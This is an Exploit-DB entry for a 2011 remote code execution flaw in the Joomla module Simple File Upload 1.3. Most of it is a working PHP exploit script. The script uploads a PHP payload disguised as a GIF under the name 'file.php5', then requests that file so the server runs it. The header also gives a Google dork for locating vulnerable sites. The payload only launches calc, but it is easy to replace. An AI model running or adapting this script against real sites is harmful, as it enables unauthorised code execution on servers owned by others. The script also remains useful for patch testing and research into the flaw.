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Joomla Module Simple File Upload 1.3 - Remote Code Execution



EDB-ID: 18287 CVE: 2011-5148 OSVDB-ID: 78122
Author: gmda Published: 2011-12-28 Verified: Not Verified
Exploit Code:   Download Vulnerable App:    Download

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<?PHP

/*
    --------------------------------------------------------------------------------
    Title: Simple File Upload v1.3 (module for joomla) Remote Code Execution Exploit
    --------------------------------------------------------------------------------
     
    Author...............: gmda
	Google Dork..........:"Simple File Upload v1.3" "Powered by Joomla"
    Mail.................: gmda[at]email[dot]it
	Site.................: http://www.gmda.altervista.org/
	Date.................: 26/12/2011
	Software Link: http://wasen.net/downloads/mod_simpleFileUpload.1.3.zip
    Version: 1.3
    Tested on: winxp php version 5.3.2 	Apache 2.0
	
	*the setup of the module is no captcha other setups are the default*
     
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
	
	
	
	The vulnerability is closed to transmit malformed packets to the server that he still plays and saves in his belly.
    This thing can be a bad intent to send commands to the server running clearly causing safety problems ........
    The script has peroblemi upload quality control .....
  
  
*/


$host="127.0.0.1";
$port=80;
$shell="R0lGOC8qLyo8P3BocCBwYXNzdGhydSgnY2FsYycpPz4vKg==";
$ContentType="image/gif";
$post="POST http://$host/Joomla_1.5.23_ita-Stable_test_expl/index.php";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$filename="file.php5";








if(!$fp) die($errstr.$errno); else {





                $data="-----------------------------41184676334\r\n";
                $data.="Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n";
                $data.="\r\n";
                $data.="100000\r\n-----------------------------41184676334\r\n";
                $data.="Content-Disposition: form-data;name=\"sfuFormFields44\"\r\n";
                $data.="\r\n\r\n";
                $data.="-----------------------------41184676334\r\n";
                $data.="Content-Disposition:form-data; name=\"uploadedfile44[]\"; filename=\"file.php5\"\r\nContent-Type: image/gif\r\n\r\n";
                $data.=base64_decode($shell)."\r\n";
                $data.="-----------------------------41184676334--\r\n";


				

                $packet="$post HTTP/1.1\r\n";
                $packet.="Host: ".$host.":".$port."\r\n";
                $packet.="Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";
                $packet.="Content-Length: ".strlen($data)."\r\n";
                $packet.="Connection: Close\r\n\r\n";
                $packet.=$data;



				
fwrite($fp, $packet);
    fclose($fp);
	
	

	
}

 	     

				 
		 
    $h = @fopen("http://".$host."/Joomla_1.5.23_ita-Stable_test_expl/images/file.php5", "r");
      if ($h) {
            while (($buf = fgets($h, 4096)) !== false) {
		     echo $buf;
		     echo("exploit was successful");
   }
   
    fclose($h);
	}else{
     echo("Error: exploit fail");
   }
?>